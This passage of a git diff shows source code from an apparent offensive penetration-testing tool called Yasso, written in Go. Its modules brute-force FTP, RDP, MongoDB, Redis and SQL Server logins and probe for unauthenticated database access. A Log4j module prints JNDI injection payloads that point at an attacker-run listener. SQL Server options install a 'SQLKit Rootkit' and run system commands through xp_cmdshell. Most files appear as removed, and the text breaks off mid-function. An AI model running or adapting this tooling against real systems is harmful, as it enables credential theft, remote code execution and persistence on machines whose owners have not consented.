if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值
|
||||
log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed", name))
|
||||
os.Exit(1)
|
||||
}
|
||||
args := make([]reflect.Value, len(params))
|
||||
for k, param := range params {
|
||||
if param == "" || param == 0 {
|
||||
continue
|
||||
}
|
||||
//Println()(param)
|
||||
args[k] = reflect.ValueOf(param)
|
||||
}
|
||||
//Println()(args)
|
||||
//fmt.Println(args)
|
||||
return f.Call(args) // 调用函数并返回结果
|
||||
}
|
||||
|
||||
func SwitchBurp(service string, users []string, pass []string, hosts []string, port int, thread int, timeout time.Duration, Domain string) {
|
||||
// 传入的参数均为3个
|
||||
// 调用方式
|
||||
var tunnel = make(chan string, 20)
|
||||
var wg sync.WaitGroup
|
||||
go func() {
|
||||
for _, ip := range hosts {
|
||||
tunnel <- ip
|
||||
}
|
||||
}()
|
||||
for i := 0; i < len(hosts); i++ {
|
||||
wg.Add(1)
|
||||
_ = ants.Submit(func() {
|
||||
ip := <-tunnel
|
||||
burpTask(ip, service, users, pass, port, thread, timeout, Domain, true, false, nil)
|
||||
wg.Done()
|
||||
})
|
||||
}
|
||||
wg.Wait()
|
||||
Println(fmt.Sprintf("[*] brute %s done", service))
|
||||
|
||||
//Println()(service,users,pass,hosts,port,thread,BurpModule)
|
||||
}
|
||||
|
||||
/***
|
||||
* 从新计算爆破方式,之前的爆破是采用分割user进行的,但是发现,user数量会远少于password,所以按照password进行分割
|
||||
*/
|
||||
|
||||
func burpTask(host, service string, users []string, pass []string, port int, thread int, timeout time.Duration, Domain string, run bool, jsonbool bool, out *JsonOut) {
|
||||
var t int
|
||||
var wg sync.WaitGroup
|
||||
if len(pass) <= thread {
|
||||
t = len(pass)
|
||||
} else {
|
||||
// 计算user数量
|
||||
t = thread // 协程数量
|
||||
}
|
||||
|
||||
num := int(math.Ceil(float64(len(pass)) / float64(thread))) // 每个协程的user数量
|
||||
// 分割用户名
|
||||
all := map[int][]string{}
|
||||
for i := 1; i <= t; i++ {
|
||||
for j := 0; j < num; j++ {
|
||||
tmp := (i-1)*num + j
|
||||
if tmp < len(pass) {
|
||||
all[i] = append(all[i], pass[tmp])
|
||||
}
|
||||
}
|
||||
}
|
||||
if service == "redis" && run == true {
|
||||
BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
|
||||
}
|
||||
if service == "mongodb" && run == true {
|
||||
BurpCall(BurpModule, "unmongodb", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
|
||||
}
|
||||
//Println()(all,num,t)
|
||||
for i := 1; i <= t; i++ {
|
||||
wg.Add(1)
|
||||
tmp := all[i]
|
||||
_ = ants.Submit(func() {
|
||||
for _, p := range tmp {
|
||||
for _, u := range users {
|
||||
if strings.Contains(p, "{user}") {
|
||||
p = strings.ReplaceAll(p, "{user}", p)
|
||||
}
|
||||
if u == "" || p == "" {
|
||||
continue
|
||||
} else {
|
||||
result := BurpCall(BurpModule, service, config.HostIn{Host: host, Port: port, TimeOut: time.Duration(timeout), Domain: Domain}, u, p)
|
||||
burpStatus(result, service, host, Domain, u, p, jsonbool, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
})
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func burpStatus(result []reflect.Value, service, host, domain, user, pass string, jsonbool bool, out *JsonOut) {
|
||||
var lock sync.Mutex
|
||||
// 这里是判断类型并返回结果的函数
|
||||
if len(result) > 0 {
|
||||
for _, v := range result {
|
||||
switch v.Kind() {
|
||||
case reflect.Bool:
|
||||
if v.Bool() == true {
|
||||
if domain != "" {
|
||||
domain = domain + "\\"
|
||||
}
|
||||
if jsonbool == true {
|
||||
// 加锁
|
||||
lock.Lock()
|
||||
out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}})
|
||||
lock.Unlock()
|
||||
}
|
||||
Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Readiness(file *os.File) []string {
|
||||
var readiness []string /*定义一个空切片用于存储遍历后的数据*/
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
readiness = append(readiness, text)
|
||||
}
|
||||
}
|
||||
readiness = SplitUrlToIpList(readiness, 100)
|
||||
return readiness
|
||||
}
|
||||
|
||||
func ReadTextToDic(service, user, pass string) ([]string, []string) {
|
||||
var (
|
||||
userdic = config.Userdict[service]
|
||||
passdic = config.Passwords
|
||||
)
|
||||
// 如果不包含.txt的话,按照用户名和密码来算。其中
|
||||
if user != "" && !strings.Contains(user, ".txt") {
|
||||
userdic = strings.Split(user, ",")
|
||||
}
|
||||
if pass != "" && !strings.Contains(pass, ".txt") {
|
||||
passdic = strings.Split(pass, ",")
|
||||
}
|
||||
|
||||
if user != "" && strings.Contains(user, ".txt") {
|
||||
userive, err := os.Open(user)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic))
|
||||
return []string{}, []string{}
|
||||
}
|
||||
userdic = Readiness(userive)
|
||||
}
|
||||
if pass != "" && strings.Contains(pass, ".txt") {
|
||||
passive, err := os.Open(pass)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic))
|
||||
return []string{}, []string{}
|
||||
}
|
||||
passdic = Readiness(passive)
|
||||
}
|
||||
return userdic, passdic
|
||||
}
|
||||
|
||||
func SplitUrlToIpList(list []string, thread int) []string {
|
||||
cdnClient, err := cdncheck.NewWithCache()
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err))
|
||||
}
|
||||
checkChan := make(chan string, 100)
|
||||
var wg sync.WaitGroup
|
||||
var re []string
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for host := range checkChan {
|
||||
ip, err := net.LookupHost(host)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ip != nil {
|
||||
for _, i := range ip {
|
||||
re = append(re, i)
|
||||
Println(fmt.Sprintf("[*] %v:%v", host, ip))
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
// 判断前缀,将其添加到需要解析的列表当中
|
||||
for _, domain := range list {
|
||||
if strings.Contains(domain, "http://") {
|
||||
domain = strings.TrimPrefix(domain, "http://")
|
||||
}
|
||||
if strings.Contains(domain, "https://") {
|
||||
domain = strings.TrimPrefix(domain, "https://")
|
||||
}
|
||||
checkChan <- domain
|
||||
}
|
||||
close(checkChan)
|
||||
wg.Wait()
|
||||
re = remove(re) // 移除重复结果
|
||||
// 移除cdn结果
|
||||
var resp []string
|
||||
for _, ip := range re {
|
||||
success := cdnFilter(ip, cdnClient)
|
||||
if success != "" && !strings.Contains(ip, ":") {
|
||||
resp = append(resp, success)
|
||||
} else {
|
||||
Println(fmt.Sprintf("[*] %s has cdn", ip))
|
||||
}
|
||||
}
|
||||
return resp
|
||||
}
|
||||
|
||||
// cdn 过滤器
|
||||
func cdnFilter(ip string, client *cdncheck.Client) string {
|
||||
if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
|
||||
return ""
|
||||
}
|
||||
return ip
|
||||
}
|
||||
|
||||
// remove 移除重复结果
|
||||
func remove(slc []string) []string {
|
||||
var result []string
|
||||
tempMap := map[string]byte{} // 存放不重复主键
|
||||
for _, e := range slc {
|
||||
l := len(tempMap)
|
||||
tempMap[e] = 0
|
||||
if len(tempMap) != l { // 加入map后,map长度变化,则元素不重复
|
||||
result = append(result, e)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
17
cmd/cmd.go
Normal file
17
cmd/cmd.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/core/flag"
|
||||
"Yasso/core/logger"
|
||||
"os"
|
||||
)
|
||||
|
||||
func Execute() {
|
||||
file, err := os.OpenFile(logger.LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
|
||||
if err != nil {
|
||||
logger.Fatal("open logger file has an error", err.Error())
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
flag.Execute()
|
||||
}
|
||||
61
cmd/ftp.go
61
cmd/ftp.go
@@ -1,61 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/spf13/cobra"
|
||||
"time"
|
||||
)
|
||||
|
||||
var FtpCmd = &cobra.Command{
|
||||
Use: "ftp",
|
||||
Short: "ftp burst module (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteFtpByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func BruteFtpByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 21
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("ftp", UserDic, PassDic)
|
||||
Println("[*] Brute Module [ftp]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func FtpConn(info config.HostIn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
c, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), time.Duration(info.TimeOut))
|
||||
|
||||
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Host, info.Port), ftp.DialWithNetConn(c))
|
||||
if err == nil {
|
||||
err = conn.Login(user, pass)
|
||||
if err == nil {
|
||||
if pass == "" {
|
||||
Println(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
|
||||
}
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
166
cmd/grdp.go
166
cmd/grdp.go
@@ -1,166 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
BruteDomain string
|
||||
)
|
||||
var RdpCmd = &cobra.Command{
|
||||
Use: "grdp",
|
||||
Short: "RDP burst module (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteRdpByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
RdpCmd.Flags().StringVar(&BruteDomain, "domain", "", "set host domain")
|
||||
}
|
||||
|
||||
func BruteRdpByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 3389
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("rdp", UserDic, PassDic)
|
||||
Println("[*] Brute Module [rdp]")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain)
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改
|
||||
|
||||
func RdpConn(info config.HostIn, user, password string) (bool, error) {
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
g := NewClient(target, glog.NONE)
|
||||
err := g.Login(info.Domain, user, password)
|
||||
|
||||
//var err
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
//return true, err
|
||||
return false, err
|
||||
}
|
||||
|
||||
type Client struct {
|
||||
Host string // ip:port
|
||||
tpkt *tpkt.TPKT
|
||||
x224 *x224.X224
|
||||
mcs *t125.MCSClient
|
||||
sec *sec.Client
|
||||
pdu *pdu.Client
|
||||
vnc *rfb.RFB
|
||||
}
|
||||
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *Client) Login(domain, user, pwd string) error {
|
||||
// 这里做一下修改,将dial.Timeout换成GetConn的代理连接
|
||||
conn, err := GetConn(g.Host, 5*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[dial err] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
//g.sec.SetClientAutoReconnect()
|
||||
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
|
||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
|
||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
|
||||
|
||||
err = g.x224.Connect()
|
||||
if err != nil {
|
||||
return fmt.Errorf("[x224 connect err] %v", err)
|
||||
}
|
||||
glog.Info("wait connect ok")
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
g.pdu.On("error", func(e error) {
|
||||
err = e
|
||||
glog.Error("error", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("close", func() {
|
||||
err = errors.New("close")
|
||||
glog.Info("on close")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("success", func() {
|
||||
err = nil
|
||||
glog.Info("on success")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("on ready")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("on update:", rectangles)
|
||||
})
|
||||
g.pdu.On("done", func() {
|
||||
if breakFlag == false {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
|
||||
wg.Wait()
|
||||
return err
|
||||
}
|
||||
30
cmd/json.go
30
cmd/json.go
@@ -1,30 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
// 输出json格式数据
|
||||
|
||||
type JsonOut struct {
|
||||
Host string `json:"HostName"`
|
||||
Ports []int `json:"Ports"`
|
||||
WeakPass []map[string]map[string]string `json:"WeakPass"`
|
||||
WebHosts []string `json:"Web"`
|
||||
}
|
||||
|
||||
func Out(filename string, js []JsonOut) {
|
||||
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0666)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] create json file failed %v", err))
|
||||
return
|
||||
}
|
||||
b, err := json.Marshal(&js)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] json marshal is failed %v", err))
|
||||
return
|
||||
}
|
||||
_, _ = file.Write(b)
|
||||
}
|
||||
109
cmd/log4j.go
109
cmd/log4j.go
@@ -1,109 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"net"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
/*
|
||||
log4j扫描程序服务器,用来查看是否有漏洞
|
||||
*/
|
||||
var (
|
||||
log4listenAddr string
|
||||
)
|
||||
|
||||
var Log4jCmd = &cobra.Command{
|
||||
Use: "log4j",
|
||||
Short: "Open a socket listener to test log4J vulnerabilities offline",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if log4listenAddr == "" {
|
||||
_ = cmd.Help()
|
||||
}
|
||||
t := strings.Split(log4listenAddr, ":")
|
||||
if len(t) == 2 {
|
||||
Println("Press ctrl+c to shutdown")
|
||||
go Log4jCheckServer(t[0], t[1])
|
||||
c := make(chan os.Signal, 1)
|
||||
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
|
||||
<-c
|
||||
Println("ctrl+c detected. Shutting down")
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
Log4jCmd.Flags().StringVarP(&log4listenAddr, "bind", "b", "0.0.0.0:4568", "socket listen address")
|
||||
}
|
||||
|
||||
func Log4j2HandleRequest(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
buf := make([]byte, 1024)
|
||||
num, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("accept data reading err %v", err))
|
||||
_ = conn.Close()
|
||||
return
|
||||
}
|
||||
hexStr := fmt.Sprintf("%x", buf[:num])
|
||||
// LDAP 协议
|
||||
if "300c020101600702010304008000" == hexStr {
|
||||
Println(fmt.Sprintf("[LDAP] %s Finger:%s", conn.RemoteAddr().String(), hexStr))
|
||||
return
|
||||
}
|
||||
if RMI(buf) {
|
||||
Println(fmt.Sprintf("[RMI] %s Finger:%x", conn.RemoteAddr().String(), buf[0:7]))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go
|
||||
|
||||
func RMI(data []byte) bool {
|
||||
if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 {
|
||||
if data[4] != 0x00 {
|
||||
return false
|
||||
}
|
||||
if data[5] != 0x01 && data[5] != 0x02 {
|
||||
return false
|
||||
}
|
||||
if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d {
|
||||
return false
|
||||
}
|
||||
lastData := data[7:]
|
||||
for _, v := range lastData {
|
||||
if v != 0x00 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func Log4jCheckServer(host string, port string) {
|
||||
listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port))
|
||||
if err != nil {
|
||||
Println("log4j listen server failed")
|
||||
return
|
||||
}
|
||||
defer listen.Close()
|
||||
//Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port))
|
||||
Println("[payload]: ")
|
||||
Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port))
|
||||
Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port))
|
||||
Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port))
|
||||
Println("-----------------------------------")
|
||||
for {
|
||||
conn, err := listen.Accept()
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("accept failed %v", err))
|
||||
continue
|
||||
}
|
||||
go Log4j2HandleRequest(conn)
|
||||
}
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
var FileName string
|
||||
|
||||
func Println(s string) {
|
||||
fmt.Println(s)
|
||||
file, err := os.OpenFile(FileName, os.O_APPEND|os.O_WRONLY, 0666)
|
||||
defer file.Close()
|
||||
if err != nil {
|
||||
fmt.Println("[!] open log file failed", err)
|
||||
return
|
||||
}
|
||||
_, _ = file.WriteString("\n" + s)
|
||||
}
|
||||
|
||||
func CreateLogFile(filename string) {
|
||||
FileName = filename
|
||||
_, err := os.Stat(filename)
|
||||
if err != nil {
|
||||
file, err := os.Create(filename)
|
||||
if err != nil {
|
||||
fmt.Println("[!] create log file failed", err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
}
|
||||
}
|
||||
136
cmd/mongo.go
136
cmd/mongo.go
@@ -1,136 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/mgo.v2"
|
||||
"time"
|
||||
)
|
||||
|
||||
var MongoCmd = &cobra.Command{
|
||||
Use: "mongo",
|
||||
Short: "MongoDB burst module (support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
BruteMongoByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func BruteMongoByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 27017
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" && ConnHost == "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
|
||||
Println("[*] Brute Module [mongodb]")
|
||||
Println("[*] MongoDB Authorized crack")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func MongoAuth(info config.HostIn, user, pass string) (*mgo.Session, bool, error) {
|
||||
|
||||
conf := &mgo.DialInfo{
|
||||
Dial: func(addr net.Addr) (net.Conn, error) {
|
||||
return GetConn(addr.String(), info.TimeOut)
|
||||
},
|
||||
Addrs: []string{fmt.Sprintf("%s:%d", info.Host, info.Port)},
|
||||
Timeout: info.TimeOut,
|
||||
Database: "test",
|
||||
Source: "admin",
|
||||
Username: user,
|
||||
Password: pass,
|
||||
PoolLimit: 4096,
|
||||
Direct: false,
|
||||
}
|
||||
db, err := mgo.DialWithInfo(conf)
|
||||
if err == nil {
|
||||
err = db.Ping()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
//defer db.Close()
|
||||
return db, true, nil
|
||||
|
||||
}
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
||||
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||
connString := fmt.Sprintf("%s:%v", info.Host, info.Port)
|
||||
conn, err := GetConn(connString, info.TimeOut)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = conn.Write(data1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
text := string(reply[0:count])
|
||||
if strings.Contains(text, "ismaster") {
|
||||
_, err = conn.Write(data2)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
text := string(reply[0:count])
|
||||
if strings.Contains(text, "totalLinesWritten") {
|
||||
flag = true
|
||||
Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host))
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func MongodbExec(session *mgo.Session) (string, error) {
|
||||
var s string
|
||||
dbs, err := session.DatabaseNames()
|
||||
for _, db := range dbs {
|
||||
if collections, err := session.DB(db).CollectionNames(); err == nil {
|
||||
s += fmt.Sprintf("%s %v\n", db, collections)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
518
cmd/mssql.go
518
cmd/mssql.go
@@ -1,518 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"database/sql"
|
||||
_ "embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/cheggaaa/pb/v3"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/olekukonko/tablewriter"
|
||||
"github.com/spf13/cobra"
|
||||
"io/ioutil"
|
||||
"math"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
内网mssql数据库比较多,可以完善一下clr和xp_cmdshell,spoacreate
|
||||
*/
|
||||
var (
|
||||
HelpWarSQLKit int
|
||||
InWarSQLKit int
|
||||
UnWarSQLKit int
|
||||
ExecuteMethod int
|
||||
UploadFile []string
|
||||
WarSQLKitCommand string
|
||||
WarSQLCommand string
|
||||
)
|
||||
|
||||
var MssqlCmd = &cobra.Command{
|
||||
Use: "mssql",
|
||||
Short: "SQL Server burst module and extend tools (not support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" && ConnHost == "" {
|
||||
_ = cmd.Help()
|
||||
} else {
|
||||
MssqlBurpByUser()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
var (
|
||||
conn = new(setting)
|
||||
)
|
||||
|
||||
func init() {
|
||||
MssqlCmd.Flags().IntVar(&HelpWarSQLKit, "kithelp", 0, "print SQLKit Use help")
|
||||
MssqlCmd.Flags().IntVar(&InWarSQLKit, "inkit", 0, "install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
|
||||
MssqlCmd.Flags().IntVar(&UnWarSQLKit, "unkit", 0, "uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
|
||||
MssqlCmd.Flags().StringVar(&WarSQLKitCommand, "cld", "", "Execute WarSQLKit Command (eg.) --cld \"whoami\"")
|
||||
MssqlCmd.Flags().StringVarP(&WarSQLCommand, "sql", "s", "", "Execute sql command")
|
||||
MssqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute System command")
|
||||
MssqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect mssql address(brute param need false)")
|
||||
MssqlCmd.Flags().StringVar(&LoginUser, "user", "sa", "Login ssh username")
|
||||
MssqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
|
||||
MssqlCmd.Flags().IntVar(&ExecuteMethod, "method", 1, "Execute System command method [1,xpshell] [2,oleshell]")
|
||||
MssqlCmd.Flags().StringArrayVar(&UploadFile, "upload", nil, "Use ole upload file (.eg) source,dest")
|
||||
}
|
||||
|
||||
func MssqlBurpByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 1433
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" && ConnHost == "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
